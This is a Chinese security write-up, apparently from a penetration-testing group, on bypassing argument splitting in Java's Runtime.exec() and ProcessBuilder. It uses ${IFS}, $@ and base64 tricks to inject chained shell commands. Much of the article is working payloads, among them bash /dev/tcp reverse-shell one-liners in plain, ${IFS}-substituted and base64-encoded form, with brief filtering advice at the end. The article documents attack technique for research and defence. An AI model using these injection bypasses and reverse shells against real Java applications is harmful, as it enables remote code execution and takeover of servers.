熟知的在java下执行系统命令的代码
Runtime.getRuntime().exec() new ProcessBuilder().start() 众所周知,仅在命令前加了/bin/bash -c,才能使用特殊符号,如; | >等
使用${IFS}
测试代码: String string="xxx"; · xxx=echo -n 123 输出 123 · xxx=/bin/bash -c echo -n 123输出为空 · xxx=/bin/bash -c echo${IFS}123 输出
InputStream in=Runtime.getRuntime().exec(string).getInputStream();
Scanner scanner = new Scanner(in).useDelimiter("\\A");
System.out.println(scanner.hasNext() ? scanner.next() : "");
123
· xxx=/bin/bash -c x=3;echo${IFS}$x 输出 3 · xxx=/bin/bash -c ls|grep${IFS}1.txt 输出 1.txt · xxx=/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 可反弹,/bin/bash -c其后不能有空格等 · xxx=bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 不可反弹,由于无法识别到第一个参数 · xxx=/bin/bash -c echo bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1不可反弹,echo后有空格 · xxx=/bin/bash -c echo${IFS}-n${IFS}bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 可反弹,同理 综合以上可知 · xxx开头不包含/bin/bash -c,且不含特殊符号如>;${IFS}等,仅含有参数-r-c及参数值时,可正常执行 可以看到$man bash文档中对${IFS}的描述大佬链接 作为内部字段分隔符 除非特别设置,其默认值为<space><tab><newline> The Internal Field Separator that is used for word splitting after expansion and to split lines into words with the read builtin command. The default value is ``<space><tab><newline>''. $echo -n "${IFS}"|hexdump得到其值为20 09 0a,与默认值<space><tab><newline>对应
exec中使用StringTokenizer st = new StringTokenizer(command)函数进行分割
即 输入的xxx以 空格 \t\n\r\f进行分割,如下为StringTokenizer构造函数代码
public StringTokenizer(String str) { this(str, " \t\n\r\f", false); · 若xxx开头包含/bin/bash -c ,则其后不能含有空格\t\n\r\f,否则就会被荼毒,使系统无法辨别。但是可以输入特殊符号如 ; |执行多条命令 ${IFS}绕过StringTokenizer 所以,在/bin/bash -c的前提下,可以进行拼接命令 如/bin/bash -c echo;ls|grep${IFS}1.txt 输出如下所示,前一条命令为echo;,后一条为ls|grep${IFS}1.txt 1.txt 若Runtime.getRuntime().exec()的第一个参数为string类型,则难逃StringTokenizer的摧残,则/bin/bash -c与其后命令存在空格\t\n\r\f无法并存。 而ProcessBuilder的构造函数如下 · 以List<String> var1为参数的,直接将数组var1赋给命令command。 · 以String... var1为参数的,由于存在command.add(var5);,在/bin/bash -c后的命令即使存在空格\t\n\r\f,也不会将其分割 public ProcessBuilder(List<String> var1) { if (var1 == null) { throw new NullPointerException(); 使用数组形式 使用数组形式是最普遍被熟知的。 像如下两种一样,直接将(/bin/bash、-c、命令)用数组(可变长)形式分割,这样命令也可直接使用空格等特殊字符 String cmdold=";echo 123";
}
} else { this.command = var1;
}
}public ProcessBuilder(String... var1) { this.command = new ArrayList(var1.length);
String[] var2 = var1; int var3 = var1.length; for(int var4 = 0; var4 < var3; ++var4) {
String var5 = var2[var4]; this.command.add(var5);
}
}
String cmdnew="ls | grep 1.txt"+cmdold;
ArrayList<String> hhh=new ArrayList<String>(0);
hhh.add("/bin/bash");
hhh.add("-c");
hhh.add(cmdnew);new ProcessBuilder(hhh);
new ProcessBuilder("/bin/bash","-c","ls | grep 1.txt;echo 123");
使用$@
1.txt的内容是 aa bb cc dd ee ff 执行命令 $x=`cat 1.txt` $set $x $echo $@ 结果为 aa bb cc dd ee ff 2.txt的内容是 cat 1.txt 执行命令 echo $@ |bash 2.txt 结果为 aa bb cc dd ee ff $@能够获取对应的变量。 像$@|bash xxx string命令,若xx为空或者找不到,则将变成string|bash 因此可以绕过/bin/bash -c之后的命令不准含空格等字符的限制,来执行命令,如下 /bin/bash -c $@|bash 0 echo 命令 使用base64 bash -i >&/dev/tcp/127.0.0.1/8888<&1对应 base64解码之后的内容就是bash -i >&/dev/tcp/127.0.0.1/8888<&1 防护建议 对传入的字符串(有可能拼接到命令中)进行过滤时,要注意${IFS}特殊符号、base64编码等情况。
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4PCYx}|{base64,-d}|{bash,-i}
声明:
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
java培训班:http://www.baizhiedu.com/java2019